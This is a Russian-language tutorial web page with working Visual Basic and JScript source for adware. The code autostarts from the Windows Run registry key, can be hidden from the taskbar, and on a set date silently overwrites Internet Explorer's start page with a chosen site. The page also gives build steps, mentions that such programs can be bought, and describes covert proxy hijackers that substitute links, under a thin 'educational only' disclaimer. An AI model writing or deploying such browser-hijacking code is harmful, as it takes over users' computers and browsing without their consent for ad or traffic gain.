Онлайн учебник по дизайну Руководство по раскрутке сайтов Шаблоны Программирование на VB Главная

    2. Модуль, загружаемый при старте Windows, выставляет адрес сайта для IE
  
     Листинг загружаемого модуля Demo.exe. Загружаемый модуль не представляет собой ничего особенного -

просто небольшая программа, в данном случае, проверяющая дату и устанавливающая стартовую страницу Internet Explorer , например, на сайт с развлечениями.


Private Sub Form_Load()
rundate = Date 'Получить ДАТУ на компьютере
Form1.Caption = Mid(rundate, 1, 2) 'Выделить из даты ЧИСЛО месяца и написать его в заголовок для отладки
ls = "Software\Microsoft\Internet Explorer\Main"
address = "http://www.misate.com" 'Адрес стартовой страницы, к примеру
''
''
If Mid(rundate, 1, 2) = "30" Then 'Т.е. записывать стартовую страницу IE каждое 30-е число каждого месяца
' Записать в реестрWindows XP
LSkey = "Software\Microsoft\Internet Explorer\Main"
'Стартовая страница для IE
retval = RegCreateKeyEx(HKEY_CURRENT_USER, LSkey, 0, "", 0, KEY_WRITE, secattr, hregkey, neworused)
If retval <> 0 Then ' error during open
Debug.Print "Error opening or creating registry key -- aborting."
End ' terminate the program
End If
stringbuffer = address & vbNullChar ' note how a null character must be appended to the string
retval = RegSetValueEx(hregkey, "Start Page", 0, REG_SZ, ByVal stringbuffer, Len(stringbuffer)) ' write the string
' Close the registry key
retval = RegCloseKey(hregkey)
End If

End 'Выйти из программы

End Sub
Этот модуль после компиляции достаточно переименовать в demo.ttl и можно тренироваться.

 
    Описание проектов VB
  
    Для работы с листингами нужно создать в VB два простых проекта

    

- для каждого из листингов.

    

Приведенные исходные коды включить в Form1.Load или Form1.Activate , откомпилировать.

    

Форму можно сделать неотображаемой в TaskBar

    

Для работы каждой из программ потребуется еще модуль. Его нужно включить так, как показано на рисунке:

    

    

    

В результате работы в реестре Windows появится новая запись:

    

где C:\demo.exe - модуль (второй листинг), который будет подгружаться каждый раз при старте Windows и проверять текущую системную дату.

Если дата совпадает с установленной в программке demo.exe , то в качестве стартовой страницы сайта для Internet Explorer будет прописан сайт www.privet.com И если теперь запустить Интернет Эксплорер,

то этот сайт будет сразу загружен.

Для удаления записи автозагрузки модуля demo.exe следует использовать тот же листинг на Visual Basic, но с "пустой" записью имени запускаемой программы.

Либо использовать следующий JAVA script (текстовый файл с расширением .js , например clear.js):

var WSHShell = WScript.CreateObject("WScript.Shell");
WSHShell.Popup("Снимаем Автозагрузку");
WSHShell.RegWrite("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\Demo", "");

Достаточно просто создать такой файл и исполнить его.

Вместо модуля demo.exe можно использовать такой же JAVA script (здесь приведен без проверки даты):

var WSHShell = WScript.CreateObject("WScript.Shell");
WSHShell.Popup("Стартовая страница");
WSHShell.RegWrite("HKEY_CURRENT_USER\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", "http://www.privet.com");

Существуют иностранные web-серверы, на которых можно оформить заказ на разработку подобных программ.

Цена за программу - от 30$-200$ и более. Visual Basic как правило не использовался для таких программ. Основной причиной была необходимость использования громоздкой динамической библиотеки.

Однако, в Windows 2000 и Windows XP такая библиотека не нужна - поддержка необходимых вызовов включена в состав операционной системы. Таким образом необходимый код становится очень маленьким.
  
  Есть и другие варианты. Например, встречаются автоматически инсталлируемые Proxy-серверы.

Такие прокси-серверы, незаметно устанавливаясь на компьютере, через реестр Windows меняют сетевые настройки Internet Explorer и осуществляют скрытую фильтрацию Internet-трафика.

При этом подменяют URL некоторых ссылок на загружаемой пользователем веб странице, на свой. Таким образом можно управлять качественным трафиком или просмотром контекстной рекламы.

Приведенные программы относятся к классу программ ADWARE - т.е. программ с включенной рекламой. Описание и особенности этого типа программ легко найти в интернете.

    

Внимание! Все листинги программ приведены здесь исключительно в образовательных и исследовательских целях.

Использование их для причинения вреда категорически запрещено. Нарушая эти условия, Вы целиком принимаете ответственность на себя!